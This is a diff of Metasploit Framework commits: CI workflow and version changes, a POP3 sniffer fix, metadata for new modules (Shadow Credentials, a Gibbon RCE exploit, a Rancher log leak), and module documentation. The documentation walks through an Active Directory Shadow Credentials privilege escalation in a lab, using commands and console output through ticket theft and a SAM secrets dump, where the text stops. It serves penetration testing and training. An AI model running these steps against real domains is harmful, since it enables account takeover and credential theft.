Compare commits
52 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 0df68e8199 | |||
| aa739cd92d | |||
| f579ec7a1a | |||
| f8331f4201 | |||
| 76145c3091 | |||
| 53efed1606 | |||
| 2346bfe1ee | |||
| 894d057715 | |||
| b8176e13a6 | |||
| 0b610e4255 | |||
| 8f5052f2e7 | |||
| a862b16286 | |||
| 8a2b092321 | |||
| 71538a871f | |||
| 29c6e0a1e5 | |||
| 397781f2b1 | |||
| 2d819cb029 | |||
| bf489f0b0d | |||
| 01d31612c6 | |||
| 9982a46538 | |||
| 951da5b00c | |||
| 4557de9a72 | |||
| b1d0918074 | |||
| 1ce29ae21e | |||
| 5852fcbb78 | |||
| 9f5444680f | |||
| 049c3ebd1d | |||
| 209d9dfab0 | |||
| 816d834f83 | |||
| 1b92d3b110 | |||
| b6acf708f3 | |||
| c55f8f20a8 | |||
| 8800a74b27 | |||
| e803be425f | |||
| 705cfb5016 | |||
| e184f5e708 | |||
| 34f0afa298 | |||
| a0d72680e0 | |||
| 87b84b00fb | |||
| 674249687f | |||
| 434e85261b | |||
| 25a65c0ed7 | |||
| a3bba29fb6 | |||
| 9e670d2f52 | |||
| 61f9e36443 | |||
| 978fb46e52 | |||
| 8afbbc1553 | |||
| a6ffb5fae8 | |||
| da5d8f3471 | |||
| 8aa6d19e7d | |||
| d8942b27a2 | |||
| 251aa021e1 |
@@ -0,0 +1,182 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**mssql**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
mssql:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
mssql:
|
||||
image: ${{ matrix.docker_image }}
|
||||
ports: ["1433:1433"]
|
||||
env:
|
||||
MSSQL_SA_PASSWORD: yourStrong(!)Password
|
||||
ACCEPT_EULA: 'Y'
|
||||
options: >-
|
||||
--health-cmd "/opt/mssql-tools/bin/sqlcmd -U sa -P 'yourStrong(!)Password' -Q 'select 1' -b -o /dev/null"
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
docker_image:
|
||||
- mcr.microsoft.com/mssql/server:2022-latest
|
||||
- mcr.microsoft.com/mssql/server:2019-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d '/:')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.docker_image }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/mssql_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- mssql
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.4.2)
|
||||
metasploit-framework (6.4.3)
|
||||
actionpack (~> 7.0.0)
|
||||
activerecord (~> 7.0.0)
|
||||
activesupport (~> 7.0.0)
|
||||
|
||||
+2
-2
@@ -80,7 +80,7 @@ memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.2, "New BSD"
|
||||
metasploit-credential, 6.0.7, "New BSD"
|
||||
metasploit-framework, 6.4.2, "New BSD"
|
||||
metasploit-framework, 6.4.3, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.3, "New BSD"
|
||||
@@ -152,7 +152,7 @@ rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.57, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.56, "New BSD"
|
||||
rex-text, 0.2.57, "New BSD"
|
||||
rex-zip, 0.1.5, "New BSD"
|
||||
rexml, 3.2.6, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
|
||||
@@ -38,6 +38,10 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
case s[:last]
|
||||
when nil
|
||||
# Its the first +OK must include the banner, worst case its just +OK
|
||||
|
||||
# Strip the banner, so that we don't need to do it multiple times
|
||||
# We can improve the banner by removing the +OK part
|
||||
s[:banner] = matches.strip
|
||||
s[:info] = matches
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
@@ -62,7 +66,7 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
@@ -91,7 +95,7 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
|
||||
s[:pass]=""
|
||||
end
|
||||
when nil
|
||||
|
||||
@@ -6129,7 +6129,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-03-09 02:09:29 +0000",
|
||||
"mod_time": "2024-04-02 15:29:47 +0000",
|
||||
"path": "/modules/auxiliary/admin/kerberos/get_ticket.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/kerberos/get_ticket",
|
||||
@@ -6528,6 +6528,73 @@
|
||||
}
|
||||
]
|
||||
},
|
||||
"auxiliary_admin/ldap/shadow_credentials": {
|
||||
"name": "Shadow Credentials",
|
||||
"fullname": "auxiliary/admin/ldap/shadow_credentials",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Elad Shamir",
|
||||
"smashery"
|
||||
],
|
||||
"description": "This module can read and write the necessary LDAP attributes to configure a particular account with a\n Key Credential Link. This allows weaponising write access to a user account by adding a certificate\n that can subsequently be used to authenticate. In order for this to succeed, the authenticated user\n must have write access to the target object (the object specified in TARGET_USER).",
|
||||
"references": [
|
||||
"URL-https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab",
|
||||
"URL-https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 389,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-09 07:53:26 +0000",
|
||||
"path": "/modules/auxiliary/admin/ldap/shadow_credentials.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/ldap/shadow_credentials",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"config-changes"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
"name": "ADD",
|
||||
"description": "Add a credential to the account"
|
||||
},
|
||||
{
|
||||
"name": "FLUSH",
|
||||
"description": "Delete all certificate entries"
|
||||
},
|
||||
{
|
||||
"name": "LIST",
|
||||
"description": "Read all credentials associated with the account"
|
||||
},
|
||||
{
|
||||
"name": "REMOVE",
|
||||
"description": "Remove matching certificate entries from the account object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"auxiliary_admin/ldap/vmware_vcenter_vmdir_auth_bypass": {
|
||||
"name": "VMware vCenter Server vmdir Authentication Bypass",
|
||||
"fullname": "auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass",
|
||||
@@ -46967,7 +47034,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-03-20 15:45:07 +0000",
|
||||
"mod_time": "2024-04-09 15:24:02 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mssql/mssql_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mssql/mssql_login",
|
||||
@@ -47239,7 +47306,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-03-20 15:45:07 +0000",
|
||||
"mod_time": "2024-04-10 12:24:08 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mysql/mysql_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mysql/mysql_login",
|
||||
@@ -49395,7 +49462,7 @@
|
||||
"postgres"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-03-20 15:45:07 +0000",
|
||||
"mod_time": "2024-04-09 15:24:02 +0000",
|
||||
"path": "/modules/auxiliary/scanner/postgres/postgres_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/postgres/postgres_login",
|
||||
@@ -53791,7 +53858,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-03-20 15:45:07 +0000",
|
||||
"mod_time": "2024-04-09 15:24:02 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_login",
|
||||
@@ -54788,7 +54855,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-12-06 16:52:10 +0000",
|
||||
"mod_time": "2024-04-08 17:41:59 +0000",
|
||||
"path": "/modules/auxiliary/scanner/snmp/snmp_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/snmp/snmp_login",
|
||||
@@ -99435,6 +99502,75 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/gibbon_auth_rce_cve_2024_24725": {
|
||||
"name": "Gibbon School Platform Authenticated PHP Deserialization Vulnerability",
|
||||
"fullname": "exploit/multi/http/gibbon_auth_rce_cve_2024_24725",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2024-03-18",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die-gr3y <h00die.gr3y@gmail.com>",
|
||||
"Ali Maharramli",
|
||||
"Fikrat Guliev",
|
||||
"Islam Rzayev"
|
||||
],
|
||||
"description": "A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower\n allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a\n POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.\n As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,\n potentially resulting in complete system compromise, data exfiltration, or unauthorized access\n to sensitive information.",
|
||||
"references": [
|
||||
"CVE-2024-24725",
|
||||
"URL-https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725",
|
||||
"PACKETSTORM-177635",
|
||||
"EDB-51903"
|
||||
],
|
||||
"platform": "Linux,PHP,Unix,Windows",
|
||||
"arch": "php, cmd, x64, x86",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"PHP",
|
||||
"Unix Command",
|
||||
"Linux Dropper",
|
||||
"Windows Command",
|
||||
"Windows Dropper"
|
||||
],
|
||||
"mod_time": "2024-04-04 17:14:32 +0000",
|
||||
"path": "/modules/exploits/multi/http/gibbon_auth_rce_cve_2024_24725.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/gibbon_auth_rce_cve_2024_24725",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/git_client_command_exec": {
|
||||
"name": "Malicious Git and Mercurial HTTP Server For CVE-2014-9390",
|
||||
"fullname": "exploit/multi/http/git_client_command_exec",
|
||||
@@ -251746,6 +251882,57 @@
|
||||
|
||||
]
|
||||
},
|
||||
"post_linux/gather/rancher_audit_log_leak": {
|
||||
"name": "Rancher Audit Log Sensitive Information Leak",
|
||||
"fullname": "post/linux/gather/rancher_audit_log_leak",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2024-02-08",
|
||||
"type": "post",
|
||||
"author": [
|
||||
"h00die"
|
||||
],
|
||||
"description": "Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive\n contain a vulnerability where sensitive data is leaked into the audit logs.\n Rancher Audit Logging is an opt-in feature, only deployments that have it\n enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.\n\n Tested against rancher 2.6.0.",
|
||||
"references": [
|
||||
"URL-https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr",
|
||||
"URL-https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options",
|
||||
"CVE-2023-22649"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-10 11:31:55 +0000",
|
||||
"path": "/modules/post/linux/gather/rancher_audit_log_leak.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/rancher_audit_log_leak",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": [
|
||||
|
||||
]
|
||||
},
|
||||
"post_linux/gather/tor_hiddenservices": {
|
||||
"name": "Linux Gather TOR Hidden Services",
|
||||
"fullname": "post/linux/gather/tor_hiddenservices",
|
||||
|
||||
@@ -0,0 +1,264 @@
|
||||
## Shadow Credentials Exploitation
|
||||
|
||||
If an account has the ability to write to the `msDS-KeyCredentialLink` attribute against a target, this can be abused for privilege escalation.
|
||||
This situation exists when a user contains the `GenericWrite` permission over another account. In addition, by default, Computer accounts have
|
||||
the ability to write their own value (whereas user accounts do not).
|
||||
|
||||
The `auxiliary/admin/ldap/shadow_credentials` module can be used to read and write the `msDS-KeyCredentialLink` LDAP attribute against a target.
|
||||
When writing, the module will append a KeyCredential blob to this LDAP attribute, and write a certificate file (`pfx`) to disk. This `pfx` file
|
||||
can then be used to authenticate as the account using PKINIT (the `auxiliary/admin/kerberos/get_ticket` module), as long as Certificate Services
|
||||
are enabled within the domain.
|
||||
|
||||
## Lab setup
|
||||
|
||||
Set up a domain with AD CS configured.
|
||||
|
||||
For the Shadow Credentials attack to work, an Active Directory account (e.g. `sandy`) is required with write privileges to the target account (i.e. `victim`).
|
||||
Alternatively, Computer accounts should be able to modify this value for their own account, with some limitations (described below).
|
||||
|
||||
From an admin powershell prompt, first create a new Active Directory account, `sandy`, in your Active Directory environment:
|
||||
|
||||
```powershell
|
||||
# Create a basic user account
|
||||
net user /add sandy Password1!
|
||||
|
||||
# Mark the sandy and password as never expiring, to ensure the lab setup still works in the future
|
||||
net user sandy /expires:never
|
||||
Set-AdUser -Identity sandy -PasswordNeverExpires:$true
|
||||
```
|
||||
|
||||
Grant Write privileges for sandy to the target account, i.e. `victim`:
|
||||
|
||||
```powershell
|
||||
# Remember to change victim to the name of your target user
|
||||
$TargetUser = Get-ADUser 'victim'
|
||||
$User = Get-ADUser 'sandy'
|
||||
|
||||
# Add GenericWrite access to the user against the target computer
|
||||
$Rights = [System.DirectoryServices.ActiveDirectoryRights] "GenericWrite"
|
||||
$ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
|
||||
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
|
||||
$GenericWriteAce = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $User.Sid,$Rights,$ControlType,$InheritanceType
|
||||
$TargetUserAcl = Get-Acl "AD:$($TargetUser.DistinguishedName)"
|
||||
$TargetUserAcl.AddAccessRule($GenericWriteAce)
|
||||
Set-Acl -AclObject $TargetUserAcl -Path "AD:$($TargetUser.DistinguishedName)"
|
||||
```
|
||||
|
||||
Finally Verify the Write privileges for the sandy account:
|
||||
|
||||
```powershell
|
||||
PS C:\Users\administrator> $TargetUser = Get-ADUser 'victim'
|
||||
PS C:\Users\administrator> (Get-ACL "AD:$($TargetUser.DistinguishedName)").Access| Where-Object { $_.IdentityReference -Match 'sandy' }
|
||||
|
||||
ActiveDirectoryRights : GenericWrite
|
||||
InheritanceType : All
|
||||
ObjectType : 00000000-0000-0000-0000-000000000000
|
||||
InheritedObjectType : 00000000-0000-0000-0000-000000000000
|
||||
ObjectFlags : None
|
||||
AccessControlType : Allow
|
||||
IdentityReference : MSFLAB\sandy
|
||||
IsInherited : False
|
||||
InheritanceFlags : ContainerInherit
|
||||
PropagationFlags : None
|
||||
```
|
||||
|
||||
## Module usage
|
||||
1. `use auxiliary/admin/ldap/shadow_credentials`
|
||||
2. Set the `RHOST` value to a target domain controller
|
||||
3. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges
|
||||
4. Set the `TARGET_USER` to the victim account
|
||||
5. Use the `ADD` action to add a credential entry to the victim account
|
||||
|
||||
See the Scenarios for a more detailed walk through
|
||||
|
||||
## Actions
|
||||
|
||||
### FLUSH
|
||||
Delete *all* credential entries. Unlike the REMOVE action, this deletes the entire property instead of just
|
||||
the matching device IDs. Use with caution, as any existing entries may be relied upon by legitimate users.
|
||||
|
||||
### LIST
|
||||
Read the credential entries and print the Device (Certificate) IDs of currently configured entries
|
||||
|
||||
### REMOVE
|
||||
Remove matching certificates from the `msDS-KeyCredentialLink` property. Unlike the FLUSH action, this only removes the matching Device (Certificate) ID
|
||||
instead of deleting the entire property.
|
||||
|
||||
### ADD
|
||||
Add a certificate entry to the `msDS-KeyCredentialLink` property. The new entry will be appended to the end of the existing set of values.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGET_USER
|
||||
The user (or computer) account being targeted. This is the object whose Key Credential property is the target of the ACTION
|
||||
(read, write, etc.). The authenticated user must have the appropriate access to this object.
|
||||
|
||||
### DEVICE_ID
|
||||
The certificate ID to delete when using the `REMOVE` action. You can retrieve Certificate IDs for a user account by using the `LIST` action.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Window Server 2022 Domain Controller, Targeting user account
|
||||
|
||||
In the following example the user `MSF\sandy` has write access to the user account `victim`. We will start the attack using the `admin/ldap/shadow_credentials` module.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > show options
|
||||
|
||||
Module options (auxiliary/admin/ldap/shadow_credentials):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
TARGET_USER yes The target to write to
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
When ACTION is REMOVE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DEVICE_ID no The specific certificate ID to operate on
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
LIST Read all credentials associated with the account
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129
|
||||
rhosts => 20.92.148.129
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL
|
||||
domain => MSF.LOCAL
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy
|
||||
username => sandy
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1!
|
||||
password => Password1!
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim
|
||||
target_user => victim
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
|
||||
action => add
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 8a75b35e-f4d9-4469-49aa-3f0bfc692f07
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The LDAP property has been successfully updated. Now we can request a TGT using the `get_ticket` module.
|
||||
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set rhosts 20.92.148.129
|
||||
rhosts => 20.92.148.129
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set username victim
|
||||
username => victim
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set domain MSF.LOCAL
|
||||
domain => MSF.LOCAL
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
cert_file => /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > run
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[!] Warning: Provided principal and realm (victim@MSF.LOCAL) do not match entries in certificate:
|
||||
[*] 20.92.148.129:88 - Getting TGT for victim@MSF.LOCAL
|
||||
[+] 20.92.148.129:88 - Received a valid TGT-Response
|
||||
[*] 20.92.148.129:88 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404120020_default_20.92.148.129_mit.kerberos.cca_046023.bin
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The saved TGT can be used in a pass-the-ticket style attack. For instance using the `auxiliary/gather/windows_secrets_dump` module:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > run smb::auth=kerberos smb::rhostname=dc22 smbuser=victim smbdomain=msf.local rhost=20.92.148.129 domaincontrollerrhost=20.92.148.129
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[*] 20.92.148.129:445 - Using cached credential for krbtgt/MSF.LOCAL@MSF.LOCAL victim@MSF.LOCAL
|
||||
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid TGS-Response
|
||||
[*] 20.92.148.129:445 - 20.92.148.129:445 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404121510_default_20.92.148.129_mit.kerberos.cca_449355.bin
|
||||
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid delegation TGS-Response
|
||||
[*] 20.92.148.129:445 - Service RemoteRegistry is already running
|
||||
[*] 20.92.148.129:445 - Retrieving target system bootKey
|
||||
[+] 20.92.148.129:445 - bootKey: 0x019e09099ae1ec55560bc1e7f9414919
|
||||
[*] 20.92.148.129:445 - Saving remote SAM database
|
||||
